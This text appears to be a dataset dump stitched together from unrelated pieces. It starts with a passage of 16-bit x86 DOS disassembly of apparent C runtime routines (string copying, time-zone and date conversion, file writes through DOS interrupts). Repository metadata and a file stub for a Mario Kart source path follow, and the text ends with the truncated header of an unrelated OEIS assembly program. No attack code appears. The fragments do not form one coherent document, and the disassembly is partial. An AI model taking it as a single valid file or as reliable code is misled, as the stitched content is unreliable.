;; 1D10:0FEC (in fn1D10_0FB3)
;; 1D10:105E (in fn1D10_0FB3)
;; 1D10:1314 (in fn1D10_12D4)
;; 209F:040A (in fn209F_02E3)
;; 209F:05CF (in fn209F_0516)
;; 2476:0677 (in fn2476_0630)
;; 2476:0689 (in fn2476_0630)
;; 2476:06B3 (in fn2476_0630)
;; 2476:06C8 (in fn2476_0630)
;; 2504:099F (in fn2504_094D)
;; 263F:03C9 (in fn263F_033E)
;; 268D:0431 (in fn268D_03E2)
;; 268D:0443 (in fn268D_03E2)
;; 268D:0460 (in fn268D_03E2)
fn0800_3C87 proc
jmp 3BB6h
;; fn0800_3C8A: 0800:3C8A
;; Called from:
;; 0800:2FB2 (in fn0800_2F10)
fn0800_3C8A proc
push bp
mov bp,sp
push si
push di
mov di,[bp+0Eh]
mov si,[bp+10h]
les bx,[bp+6h]
mov ax,es:[bx+12h]
cmp ax,[bp+6h]
jnz 3CACh
l0800_3CA1:
cmp di,2h
jg 3CACh
l0800_3CA6:
cmp si,7FFFh
jbe 3CB2h
l0800_3CAC:
mov ax,0FFFFh
jmp 3DA3h
l0800_3CB2:
cmp word ptr [9B6Ch],0h
jnz 3CC8h
l0800_3CB9:
cmp word ptr [bp+6h],9804h
jnz 3CC8h
l0800_3CC0:
mov word ptr [9B6Ch],1h
jmp 3CDCh
l0800_3CC8:
cmp word ptr [9B6Ah],0h
jnz 3CDCh
l0800_3CCF:
cmp word ptr [bp+6h],97F0h
jnz 3CDCh
l0800_3CD6:
mov word ptr [9B6Ah],1h
l0800_3CDC:
les bx,[bp+6h]
cmp word ptr es:[bx],0h
jz 3CFBh
l0800_3CE5:
mov ax,1h
push ax
xor ax,ax
xor dx,dx
push ax
push dx
push word ptr [bp+8h]
push bx
nop
push cs
call 3106h
add sp,0Ah
l0800_3CFB:
les bx,[bp+6h]
test word ptr es:[bx+2h],4h
jz 3D15h
l0800_3D06:
push word ptr es:[bx+0Ah]
push word ptr es:[bx+8h]
nop
push cs
call 1C24h
pop cx
pop cx
l0800_3D15:
les bx,[bp+6h]
and word ptr es:[bx+2h],0F3h
mov word ptr es:[bx+6h],0h
mov ax,[bp+8h]
mov dx,[bp+6h]
add dx,5h
mov es:[bx+0Ah],ax
mov es:[bx+8h],dx
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
cmp di,2h
jz 3DA1h
l0800_3D41:
or si,si
jbe 3DA1h
l0800_3D45:
mov word ptr [97E6h],800h
mov word ptr [97E4h],4695h
mov ax,[bp+0Ah]
or ax,[bp+0Ch]
jnz 3D7Ah
l0800_3D59:
push si
nop
push cs
call 1D2Eh
pop cx
mov [bp+0Ch],dx
mov [bp+0Ah],ax
or ax,dx
jnz 3D6Dh
l0800_3D6A:
jmp 3CACh
l0800_3D6D:
les bx,[bp+6h]
or word ptr es:[bx+2h],4h
jmp 3D7Ah
0800:3D77 E9 32 FF .2.
l0800_3D7A:
les bx,[bp+6h]
mov ax,[bp+0Ch]
mov dx,[bp+0Ah]
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
mov es:[bx+0Ah],ax
mov es:[bx+8h],dx
mov es:[bx+6h],si
cmp di,1h
jnz 3DA1h
l0800_3D9C:
or word ptr es:[bx+2h],8h
l0800_3DA1:
xor ax,ax
l0800_3DA3:
pop di
pop si
pop bp
retf
;; fn0800_3DA7: 0800:3DA7
;; Called from:
;; 0800:0720 (in fn0800_06D4)
fn0800_3DA7 proc
push bp
mov bp,sp
push si
push di
cld
push ds
les di,[bp+6h]
mov dx,di
xor al,al
mov cx,0FFFFh
l0800_3DB8:
repne scasb
l0800_3DBA:
push es
lea si,[di-1h]
les di,[bp+0Ah]
mov cx,0FFFFh
l0800_3DC4:
repne scasb
l0800_3DC6:
not cx
sub di,cx
push es
pop ds
pop es
xchg di,si
test si,1h
jz 3DD7h
l0800_3DD5:
movsb
dec cx
l0800_3DD7:
shr cx,1h
l0800_3DD9:
rep movsw
l0800_3DDB:
jnc 3DDEh
l0800_3DDD:
movsb
l0800_3DDE:
xchg dx,ax
mov dx,es
pop ds
pop di
pop si
pop bp
retf
;; fn0800_3DE6: 0800:3DE6
;; Called from:
;; 0800:4262 (in fn0800_418D)
;; 0800:4277 (in fn0800_418D)
;; 1F0F:0D15 (in fn1F0F_0BF7)
;; 1F0F:0D90 (in fn1F0F_0BF7)
;; 1F0F:0E19 (in fn1F0F_0BF7)
;; 1F0F:0E7C (in fn1F0F_0BF7)
;; 1F0F:0F05 (in fn1F0F_0BF7)
;; 1F0F:0F68 (in fn1F0F_0BF7)
;; 1F0F:0FE6 (in fn1F0F_0BF7)
fn0800_3DE6 proc
push bp
mov bp,sp
push si
push di
cld
les di,[bp+0Ah]
mov si,di
xor al,al
mov cx,0FFFFh
l0800_3DF6:
repne scasb
l0800_3DF8:
not cx
push ds
mov ax,es
mov ds,ax
les di,[bp+6h]
l0800_3E02:
rep movsb
l0800_3E04:
pop ds
mov dx,[bp+8h]
mov ax,[bp+6h]
pop di
pop si
pop bp
retf
;; fn0800_3E0F: 0800:3E0F
;; Called from:
;; 0800:16C0 (in fn0800_16B5)
;; 0800:41B2 (in fn0800_418D)
;; 0800:4306 (in fn0800_418D)
;; 263F:0024 (in fn263F_0008)
;; 263F:0052 (in fn263F_0008)
fn0800_3E0F proc
push bp
mov bp,sp
push di
les di,[bp+6h]
xor ax,ax
cmp ax,[bp+8h]
jnz 3E21h
l0800_3E1D:
cmp ax,di
jz 3E2Bh
l0800_3E21:
cld
mov cx,0FFFFh
l0800_3E25:
repne scasb
l0800_3E27:
xchg cx,ax
not ax
dec ax
l0800_3E2B:
pop di
pop bp
retf
;; fn0800_3E2E: 0800:3E2E
;; Called from:
;; 0800:42AB (in fn0800_418D)
;; 0800:434F (in fn0800_418D)
fn0800_3E2E proc
push bp
mov bp,sp
push si
push di
cld
les di,[bp+0Ah]
mov si,di
xor al,al
mov bx,[bp+0Eh]
mov cx,bx
l0800_3E40:
repne scasb
l0800_3E42:
sub bx,cx
push ds
mov di,es
mov ds,di
les di,[bp+6h]
xchg bx,cx
l0800_3E4E:
rep movsb
l0800_3E50:
mov cx,bx
l0800_3E52:
rep stosb
l0800_3E54:
pop ds
mov dx,[bp+8h]
mov ax,[bp+6h]
pop di
pop si
pop bp
retf
;; fn0800_3E5F: 0800:3E5F
;; Called from:
;; 0800:10DA (in fn0800_10B1)
fn0800_3E5F proc
push bp
mov bp,sp
sub sp,4h
push si
nop
push cs
call 418Dh
mov ax,[9B9Eh]
mov dx,[9B9Ch]
add dx,0A600h
adc ax,12CEh
mov [bp-2h],ax
mov [bp-4h],dx
les bx,[bp+6h]
mov si,es:[bx]
add si,0F844h
mov ax,si
mov cl,2h
sar ax,cl
cwd
push ax
push dx
mov dx,786h
mov ax,1F80h
pop cx
pop bx
call 07F6h
add [bp-4h],ax
adc [bp-2h],dx
mov ax,si
and ax,3h
cwd
push ax
push dx
mov dx,1E1h
mov ax,3380h
pop cx
pop bx
call 07F6h
add [bp-4h],ax
adc [bp-2h],dx
test si,3h
jz 3ECBh
l0800_3EC2:
add word ptr [bp-4h],5180h
adc word ptr [bp-2h],1h
l0800_3ECB:
xor cx,cx
les bx,[bp+6h]
mov al,es:[bx+3h]
cbw
dec ax
mov si,ax
jmp 3EE2h
l0800_3EDA:
dec si
mov al,[si+9B6Eh]
cbw
add cx,ax
l0800_3EE2:
or si,si
jg 3EDAh
l0800_3EE6:
les bx,[bp+6h]
mov al,es:[bx+2h]
cbw
dec ax
add cx,ax
cmp byte ptr es:[bx+3h],2h
jle 3F00h
l0800_3EF8:
test word ptr es:[bx],3h
jnz 3F00h
l0800_3EFF:
inc cx
l0800_3F00:
les bx,[bp+0Ah]
mov al,es:[bx+1h]
mov ah,0h
push ax
mov ax,cx
mov dx,18h
imul dx
pop dx
add ax,dx
mov si,ax
cmp word ptr [9BA0h],0h
jz 3F3Ah
l0800_3F1D:
mov al,es:[bx+1h]
mov ah,0h
push ax
push cx
xor ax,ax
push ax
les bx,[bp+6h]
mov ax,es:[bx]
add ax,0F84Eh
push ax
call 437Bh
or ax,ax
jz 3F3Ah
l0800_3F39:
dec si
l0800_3F3A:
mov ax,si
cwd
push ax
push dx
xor dx,dx
mov ax,0E10h
pop cx
pop bx
call 07F6h
add [bp-4h],ax
adc [bp-2h],dx
les bx,[bp+0Ah]
mov al,es:[bx]
mov ah,0h
cwd
push ax
push dx
xor dx,dx
mov ax,3Ch
pop cx
pop bx
call 07F6h
les bx,[bp+0Ah]
mov bl,es:[bx+3h]
mov bh,0h
push ax
mov ax,bx
push dx
cwd
pop bx
pop cx
add cx,ax
adc bx,dx
add [bp-4h],cx
adc [bp-2h],bx
mov dx,[bp-2h]
mov ax,[bp-4h]
pop si
mov sp,bp
pop bp
retf
0800:3F89 55 8B EC 90 0E E8 FC U......
0800:3F90 01 A1 9E 9B 8B 16 9C 9B 81 C2 00 A6 15 CE 12 29 ...............)
0800:3FA0 56 06 19 46 08 C4 5E 0E 26 C6 47 02 00 33 C0 BA V..F..^.&.G..3..
0800:3FB0 3C 00 50 52 FF 76 08 FF 76 06 E8 A8 C4 C4 5E 0E <.PR.v..v.....^.
0800:3FC0 26 88 47 03 33 C0 BA 3C 00 50 52 FF 76 08 FF 76 &.G.3..<.PR.v..v
0800:3FD0 06 E8 82 C4 89 56 08 89 46 06 33 C0 BA 3C 00 50 .....V..F.3..<.P
0800:3FE0 52 FF 76 08 FF 76 06 E8 7B C4 C4 5E 0E 26 88 07 R.v..v..{..^.&..
0800:3FF0 33 C0 BA 3C 00 50 52 FF 76 08 FF 76 06 E8 56 C4 3..<.PR.v..v..V.
0800:4000 89 56 08 89 46 06 33 C0 BA F8 88 50 52 FF 76 08 .V..F.3....PR.v.
0800:4010 FF 76 06 E8 40 C4 B1 02 D3 E0 05 BC 07 C4 5E 0A .v..@.........^.
0800:4020 26 89 07 33 C0 BA F8 88 50 52 FF 76 08 FF 76 06 &..3....PR.v..v.
0800:4030 E8 32 C4 89 56 08 89 46 06 83 7E 08 00 7C 44 75 .2..V..F..~..|Du
0800:4040 07 81 7E 06 50 22 72 3B 81 6E 06 50 22 83 5E 08 ..~.P"r;.n.P".^.
0800:4050 00 C4 5E 0A 26 FF 07 33 C0 BA 38 22 50 52 FF 76 ..^.&..3..8"PR.v
0800:4060 08 FF 76 06 E8 EF C3 C4 5E 0A 26 01 07 33 C0 BA ..v.....^.&..3..
0800:4070 38 22 50 52 FF 76 08 FF 76 06 E8 E8 C3 89 56 08 8"PR.v..v.....V.
0800:4080 89 46 06 83 3E A0 9B 00 74 3E 33 C0 BA 18 00 50 .F..>...t>3....P
0800:4090 52 FF 76 08 FF 76 06 E8 CB C3 50 33 C0 BA 18 00 R.v..v....P3....
0800:40A0 50 52 FF 76 08 FF 76 06 E8 AB C3 50 33 C0 50 C4 PR.v..v....P3.P.
0800:40B0 5E 0A 26 8B 07 05 4E F8 50 E8 BF 02 0B C0 74 08 ^.&...N.P.....t.
0800:40C0 83 46 06 01 83 56 08 00 33 C0 BA 18 00 50 52 FF .F...V..3....PR.
0800:40D0 76 08 FF 76 06 E8 8D C3 C4 5E 0E 26 88 47 01 33 v..v.....^.&.G.3
0800:40E0 C0 BA 18 00 50 52 FF 76 08 FF 76 06 E8 67 C3 89 ....PR.v..v..g..
0800:40F0 56 08 89 46 06 83 46 06 01 83 56 08 00 C4 5E 0A V..F..F...V...^.
0800:4100 26 F7 07 03 00 75 33 83 7E 08 00 7C 12 7F 06 83 &....u3.~..|....
0800:4110 7E 06 3C 76 0A 83 6E 06 01 83 5E 08 00 EB 1B 83 ~.<v..n...^.....
0800:4120 7E 08 00 75 15 83 7E 06 3C 75 0F C4 5E 0A 26 C6 ~..u..~.<u..^.&.
0800:4130 47 03 02 26 C6 47 02 1D EB 51 C4 5E 0A 26 C6 47 G..&.G...Q.^.&.G
0800:4140 03 00 EB 1D C4 5E 0A 26 8A 47 03 98 8B D8 8A 87 .....^.&.G......
0800:4150 6E 9B 98 99 29 46 06 19 56 08 8B 5E 0A 26 FE 47 n...)F..V..^.&.G
0800:4160 03 C4 5E 0A 26 8A 47 03 98 8B D8 8A 87 6E 9B 98 ..^.&.G......n..
0800:4170 99 3B 56 08 7C CE 75 05 3B 46 06 72 C7 C4 5E 0A .;V.|.u.;F.r..^.
0800:4180 26 FE 47 03 8A 46 06 26 88 47 02 5D CB &.G..F.&.G.].
;; fn0800_418D: 0800:418D
;; Called from:
;; 0800:3E67 (in fn0800_3E5F)
fn0800_418D proc
push bp
mov bp,sp
sub sp,4h
push si
push ds
mov ax,9BA2h
push ax
nop
push cs
call 342Eh
pop cx
pop cx
mov [bp-2h],dx
mov [bp-4h],ax
or ax,dx
jnz 41ADh
l0800_41AA:
jmp 4242h
l0800_41AD:
push dx
push word ptr [bp-4h]
nop
push cs
call 3E0Fh
pop cx
pop cx
cmp ax,4h
jnc 41C0h
l0800_41BD:
jmp 4242h
l0800_41C0:
les bx,[bp-4h]
mov al,es:[bx]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,0Ch
jz 4242h
l0800_41D3:
mov bx,[bp-4h]
mov al,es:[bx+1h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,0Ch
jz 4242h
l0800_41E7:
mov bx,[bp-4h]
mov al,es:[bx+2h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,0Ch
jz 4242h
l0800_41FB:
mov bx,[bp-4h]
cmp byte ptr es:[bx+3h],2Dh
jz 421Ah
l0800_4205:
cmp byte ptr es:[bx+3h],2Bh
jz 421Ah
l0800_420C:
mov al,es:[bx+3h]
cbw
mov bx,ax
test byte ptr [bx+96E3h],2h
jz 4242h
l0800_421A:
les bx,[bp-4h]
mov al,es:[bx+3h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,2h
jnz 4281h
l0800_422E:
mov bx,[bp-4h]
mov al,es:[bx+4h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,2h
jnz 4281h
l0800_4242:
mov word ptr [9BA0h],1h
mov word ptr [9B9Eh],0h
mov word ptr [9B9Ch],4650h
push ds
mov ax,9BA5h
push ax
push word ptr [9B96h]
push word ptr [9B94h]
nop
push cs
call 3DE6h
add sp,8h
push ds
mov ax,9BA9h
push ax
push word ptr [9B9Ah]
push word ptr [9B98h]
nop
push cs
call 3DE6h
add sp,8h
jmp 4376h
l0800_4281:
mov ax,4h
push ax
xor ax,ax
push ax
push word ptr [9B9Ah]
push word ptr [9B98h]
nop
push cs
call 3556h
add sp,8h
mov ax,3h
push ax
push word ptr [bp-2h]
push word ptr [bp-4h]
push word ptr [9B96h]
push word ptr [9B94h]
nop
push cs
call 3E2Eh
add sp,0Ah
les bx,[9B94h]
mov byte ptr es:[bx+3h],0h
mov ax,[bp-4h]
add ax,3h
push word ptr [bp-2h]
push ax
nop
push cs
call 29F0h
pop cx
pop cx
push ax
push dx
xor dx,dx
mov ax,0E10h
pop cx
pop bx
call 07F6h
mov [9B9Eh],dx
mov [9B9Ch],ax
mov word ptr [9BA0h],0h
mov si,3h
jmp 4368h
l0800_42EA:
les bx,[bp-4h]
add bx,si
mov al,es:[bx]
cbw
mov bx,ax
test byte ptr [bx+96E3h],0Ch
jz 4367h
l0800_42FC:
mov ax,[bp-4h]
add ax,si
push word ptr [bp-2h]
push ax
nop
push cs
call 3E0Fh
pop cx
pop cx
cmp ax,3h
jc 4376h
l0800_4311:
les bx,[bp-4h]
mov al,es:[bx+si+1h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,0Ch
jz 4376h
l0800_4325:
mov bx,[bp-4h]
mov al,es:[bx+si+2h]
cbw
mov bx,ax
mov al,[bx+96E3h]
cbw
test ax,0Ch
jz 4376h
l0800_4339:
mov ax,3h
push ax
mov ax,[bp-4h]
add ax,si
push word ptr [bp-2h]
push ax
push word ptr [9B9Ah]
push word ptr [9B98h]
nop
push cs
call 3E2Eh
add sp,0Ah
les bx,[9B98h]
mov byte ptr es:[bx+3h],0h
mov word ptr [9BA0h],1h
jmp 4376h
l0800_4367:
inc si
l0800_4368:
les bx,[bp-4h]
add bx,si
cmp byte ptr es:[bx],0h
jz 4376h
l0800_4373:
jmp 42EAh
l0800_4376:
pop si
mov sp,bp
pop bp
retf
;; fn0800_437B: 0800:437B
;; Called from:
;; 0800:3F32 (in fn0800_3E5F)
fn0800_437B proc
push bp
mov bp,sp
push si
cmp word ptr [bp+6h],0h
jnz 43B1h
l0800_4385:
mov si,[bp+8h]
cmp word ptr [bp+8h],3Bh
jc 439Ah
l0800_438E:
mov ax,[bp+4h]
add ax,46h
test ax,3h
jnz 439Ah
l0800_4399:
dec si
l0800_439A:
mov word ptr [bp+6h],0h
jmp 43A4h
l0800_43A1:
inc word ptr [bp+6h]
l0800_43A4:
mov bx,[bp+6h]
shl bx,1h
cmp [bx+9B7Ah],si
jbe 43A1h
l0800_43AF:
jmp 43D2h
l0800_43B1:
mov bx,[bp+6h]
dec bx
shl bx,1h
mov ax,[bx+9B7Ah]
add [bp+8h],ax
cmp word ptr [bp+6h],3h
jbe 43D2h
l0800_43C4:
mov ax,[bp+4h]
add ax,46h
test ax,3h
jnz 43D2h
l0800_43CF:
inc word ptr [bp+8h]
l0800_43D2:
cmp word ptr [bp+6h],4h
jc 4453h
l0800_43D8:
jz 43E2h
l0800_43DA:
cmp word ptr [bp+6h],0Ah
ja 4453h
l0800_43E0:
jnz 444Eh
l0800_43E2:
mov bx,[bp+6h]
shl bx,1h
cmp word ptr [bp+4h],10h
jle 43FCh
l0800_43ED:
cmp word ptr [bp+6h],4h
jnz 43FCh
l0800_43F3:
mov cx,[bx+9B78h]
add cx,7h
jmp 4400h
l0800_43FC:
mov cx,[bx+9B7Ah]
l0800_4400:
mov bx,[bp+4h]
add bx,7B2h
test bl,3h
jz 440Dh
l0800_440C:
dec cx
l0800_440D:
mov bx,[bp+4h]
inc bx
sar bx,1h
sar bx,1h
add bx,cx
mov ax,16Dh
mul word ptr [bp+4h]
add ax,bx
add ax,4h
xor dx,dx
mov bx,7h
div bx
sub cx,dx
mov ax,[bp+8h]
cmp word ptr [bp+6h],4h
jnz 4442h
l0800_4434:
cmp ax,cx
ja 444Eh
l0800_4438:
jnz 4453h
l0800_443A:
cmp byte ptr [bp+0Ah],2h
jc 4453h
l0800_4440:
jmp 444Eh
l0800_4442:
cmp ax,cx
jc 444Eh
l0800_4446:
jnz 4453h
l0800_4448:
cmp byte ptr [bp+0Ah],1h
ja 4453h
l0800_444E:
mov ax,1h
jmp 4455h
l0800_4453:
xor ax,ax
l0800_4455:
pop si
pop bp
ret 8h
0800:445A 58 0E 50 55 8B EC X.PU..
0800:4460 8B 4E 06 83 F9 FF 74 5C C4 5E 08 26 83 3F 00 7D .N....t\.^.&.?.}
0800:4470 05 B8 FF FF EB 50 C4 5E 08 26 83 67 02 DF 26 FF .....P.^.&.g..&.
0800:4480 07 26 8B 07 3D 01 00 7E 1D 26 FF 4F 0C 53 06 26 .&..=..~.&.O.S.&
0800:4490 8E 47 0E 8C C0 07 5B 26 8B 5F 0C 8A D1 8E C0 26 .G....[&._.....&
0800:44A0 88 17 8A C2 EB 1A 8B 46 0A 8B 56 08 83 C2 05 C4 .......F..V.....
0800:44B0 5E 08 26 89 47 0E 26 89 57 0C 8A C1 26 88 47 05 ^.&.G.&.W...&.G.
0800:44C0 B4 00 EB 02 8B C1 5D CB ......].
;; fn0800_44C8: 0800:44C8
;; Called from:
;; 0800:2CB2 (in fn0800_2C08)
;; 0800:4655 (in fn0800_4655)
fn0800_44C8 proc
push bp
mov bp,sp
sub sp,8Eh
push si
push di
mov di,[bp+6h]
cmp di,[9980h]
jc 44E4h
l0800_44DA:
mov ax,6h
push ax
call 05ADh
jmp 4613h
l0800_44E4:
mov ax,[bp+0Ch]
inc ax
cmp ax,2h
jnc 44F2h
l0800_44ED:
xor ax,ax
jmp 4613h
l0800_44F2:
mov bx,di
shl bx,1h
test word ptr [bx+9982h],800h
jz 4511h
l0800_44FE:
mov ax,2h
push ax
xor ax,ax
xor dx,dx
push ax
push dx
push di
nop
push cs
call 06ABh
add sp,8h
l0800_4511:
mov bx,di
shl bx,1h
test word ptr [bx+9982h],4000h
jnz 4532h
l0800_451D:
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push di
nop
push cs
call 4619h
add sp,8h
jmp 4613h
l0800_4532:
mov bx,di
shl bx,1h
and word ptr [bx+9982h],0FDFFh
mov ax,[bp+0Ah]
mov dx,[bp+8h]
mov [bp-0Ah],ax
mov [bp-0Ch],dx
mov ax,[bp+0Ch]
mov [bp-6h],ax
jmp 45C5h
l0800_4550:
dec word ptr [bp-6h]
les bx,[bp-0Ch]
inc word ptr [bp-0Ch]
mov al,es:[bx]
mov [bp-7h],al
cmp al,0Ah
jnz 456Dh
l0800_4563:
les bx,[bp-4h]
mov byte ptr es:[bx],0Dh
inc word ptr [bp-4h]
l0800_456D:
les bx,[bp-4h]
mov al,[bp-7h]
mov es:[bx],al
inc word ptr [bp-4h]
lea ax,[bp+0FF72h]
mov dx,[bp-4h]
xor bx,bx
sub dx,ax
sbb bx,0h
or bx,bx
jl 45CFh
l0800_458B:
jnz 4593h
l0800_458D:
cmp dx,80h
jc 45CFh
l0800_4593:
lea ax,[bp+0FF72h]
mov si,[bp-4h]
xor dx,dx
sub si,ax
sbb dx,0h
push si
push ss
push ax
push di
nop
push cs
call 4619h
add sp,8h
mov dx,ax
cmp ax,si
jz 45C5h
l0800_45B3:
cmp dx,0FFh
jnz 45BDh
l0800_45B8:
mov ax,0FFFFh
jmp 460Eh
l0800_45BD:
mov ax,[bp+0Ch]
sub ax,[bp-6h]
jmp 460Ah
l0800_45C5:
lea ax,[bp+0FF72h]
mov [bp-2h],ss
mov [bp-4h],ax
l0800_45CF:
cmp word ptr [bp-6h],0h
jz 45D8h
l0800_45D5:
jmp 4550h
l0800_45D8:
lea ax,[bp+0FF72h]
mov si,[bp-4h]
xor dx,dx
sub si,ax
sbb dx,0h
mov ax,si
or ax,ax
jbe 4610h
l0800_45EC:
push si
push ss
lea ax,[bp+0FF72h]
push ax
push di
nop
push cs
call 4619h
add sp,8h
mov dx,ax
cmp ax,si
jz 4610h
l0800_4602:
cmp dx,0FFh
jz 45B8h
l0800_4607:
mov ax,[bp+0Ch]
l0800_460A:
add ax,dx
sub ax,si
l0800_460E:
jmp 4613h
l0800_4610:
mov ax,[bp+0Ch]
l0800_4613:
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_4619: 0800:4619
;; Called from:
;; 0800:395E (in fn0800_380A)
;; 0800:397D (in fn0800_380A)
;; 0800:4528 (in fn0800_44C8)
;; 0800:45A6 (in fn0800_44C8)
;; 0800:45F5 (in fn0800_44C8)
fn0800_4619 proc
push bp
mov bp,sp
mov bx,[bp+6h]
shl bx,1h
test word ptr [bx+9982h],1h
jz 462Fh
l0800_4629:
mov ax,5h
push ax
jmp 4650h
l0800_462F:
push ds
mov ah,40h
mov bx,[bp+6h]
mov cx,[bp+0Ch]
lds dx,[bp+8h]
int 21h
pop ds
jc 464Fh
l0800_4640:
push ax
mov bx,[bp+6h]
shl bx,1h
or word ptr [bx+9982h],1000h
pop ax
jmp 4653h
l0800_464F:
push ax
l0800_4650:
call 05ADh
l0800_4653:
pop bp
retf
;; fn0800_4655: 0800:4655
;; Called from:
;; 0E31:0043 (in fn0E31_0002)
;; 0E31:0055 (in fn0E31_0002)
;; 0E31:0080 (in fn0E31_0002)
;; 0F2B:15A6 (in fn0F2B_153F)
;; 0F2B:15BD (in fn0F2B_153F)
;; 0F2B:15D7 (in fn0F2B_153F)
;; 0F2B:15F1 (in fn0F2B_153F)
;; 0F2B:160B (in fn0F2B_153F)
;; 0F2B:1625 (in fn0F2B_153F)
;; 0F2B:163F (in fn0F2B_153F)
;; 0F2B:1659 (in fn0F2B_153F)
;; 0F2B:1677 (in fn0F2B_153F)
fn0800_4655 proc
jmp 44C8h
0800:4658 55 8B EC 83 EC 04 56 33 U.....V3
0800:4660 F6 8C 5E FE C7 46 FC F0 97 3B 36 80 99 73 21 C4 ..^..F...;6..s!.
0800:4670 5E FC 26 F7 47 02 03 00 74 0B FF 76 FE 53 90 0E ^.&.G...t..v.S..
0800:4680 E8 CD E4 59 59 83 46 FC 14 46 3B 36 80 99 72 DF ...YY.F..F;6..r.
0800:4690 5E 8B E5 5D CB 55 8B EC 83 EC 04 56 BE 04 00 8C ^..].U.....V....
0800:46A0 5E FE C7 46 FC F0 97 EB 1B C4 5E FC 26 F7 47 02 ^..F......^.&.G.
0800:46B0 03 00 74 0B FF 76 FE 53 90 0E E8 4B E5 59 59 4E ..t..v.S...K.YYN
0800:46C0 83 46 FC 14 0B F6 75 E1 5E 8B E5 5D CB .F....u.^..].
;; fn0800_46CD: 0800:46CD
;; Called from:
;; 2476:0590 (in fn2476_0568)
fn0800_46CD proc
push bp
mov bp,sp
push si
push di
mov dx,ds
les di,[bp+6h]
lds si,[bp+0Ah]
mov cx,[bp+0Eh]
shr cx,1h
cld
l0800_46E0:
rep movsw
l0800_46E2:
jnc 46E5h
l0800_46E4:
movsb
l0800_46E5:
mov ds,dx
mov dx,[bp+8h]
mov ax,[bp+6h]
pop di
pop si
pop bp
retf
0800:46F1 55 8B EC 57 C4 7E 06 8B 4E 0A 8A 46 0C 8A E0 U..W.~..N..F...
0800:4700 FC F7 C7 01 00 74 04 E3 09 AA 49 D1 E9 F3 AB 73 .....t....I....s
0800:4710 01 AA 5F 5D CB 55 8B EC 8A 46 0A 50 FF 76 0C FF .._].U...F.P.v..
0800:4720 76 08 FF 76 06 0E E8 C8 FF 83 C4 08 8B 56 08 8B v..v.........V..
0800:4730 46 06 5D CB 55 8B EC 56 57 1E 8B 4E 0C 8B 5E 0A F.].U..VW..N..^.
0800:4740 8B 56 08 8B 46 06 E8 C4 C0 73 06 FD B8 01 00 EB .V..F....s......
0800:4750 03 FC 33 C0 C5 76 06 C4 7E 0A 8B 4E 0E 0B C0 74 ..3..v..~..N...t
0800:4760 06 03 F1 4E 03 F9 4F F7 C7 01 00 74 04 E3 11 A4 ...N..O....t....
0800:4770 49 2B F0 2B F8 D1 E9 F3 A5 73 05 03 F0 03 F8 A4 I+.+.....s......
0800:4780 FC 1F 5F 5E 5D CB 55 8B EC FF 76 0E FF 76 08 FF .._^].U...v..v..
0800:4790 76 06 FF 76 0C FF 76 0A 0E E8 98 FF 83 C4 0A 8B v..v..v.........
0800:47A0 56 08 8B 46 06 5D CB V..F.].
;; fn0800_47A7: 0800:47A7
;; Called from:
;; 268D:08BE (in fn268D_086A)
fn0800_47A7 proc
push bp
mov bp,sp
push si
push di
mov dx,ds
cld
xor ax,ax
mov bx,ax
les di,[bp+0Ah]
mov si,di
xor al,al
mov cx,0FFFFh
l0800_47BD:
repne scasb
l0800_47BF:
not cx
mov di,si
lds si,[bp+6h]
l0800_47C6:
rep cmpsb
l0800_47C8:
mov al,[si-1h]
mov bl,es:[di-1h]
sub ax,bx
mov ds,dx
pop di
pop si
pop bp
retf
;; fn0800_47D7: 0800:47D7
;; Called from:
;; 268D:0877 (in fn268D_086A)
fn0800_47D7 proc
push bp
mov bp,sp
push si
push di
cld
les di,[bp+0Ah]
mov si,di
xor al,al
mov cx,0FFFFh
l0800_47E7:
repne scasb
l0800_47E9:
not cx
push ds
mov ax,es
mov ds,ax
les di,[bp+6h]
l0800_47F3:
rep movsb
l0800_47F5:
pop ds
mov dx,[bp+8h]
mov ax,[bp+6h]
pop di
pop si
pop bp
retf
| 16.018362
| 74
| 0.633586
|
a785748c2f18f2fbecb94e4b167f64de4fb47345
| 144
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/ISPK-7E.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/ISPK-7E.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/ISPK-7E.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: ISPK-7E.asm
Type: file
Size: 7432
Last-Modified: '1992-07-01T15:00:00Z'
SHA-1: 791BE768C7EA7755BF11EA76D0C0628D622FDCA2
Description: null
| 20.571429
| 47
| 0.805556
|
dcaf3e0e2aa3cd7ebfbaea463fa2b18628dada5e
| 541
|
asm
|
Assembly
|
oeis/121/A121289.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/121/A121289.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/121/A121289.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A121289: a(n) = n/(largest triangular number dividing n).
; Submitted by Simon Strandgaard
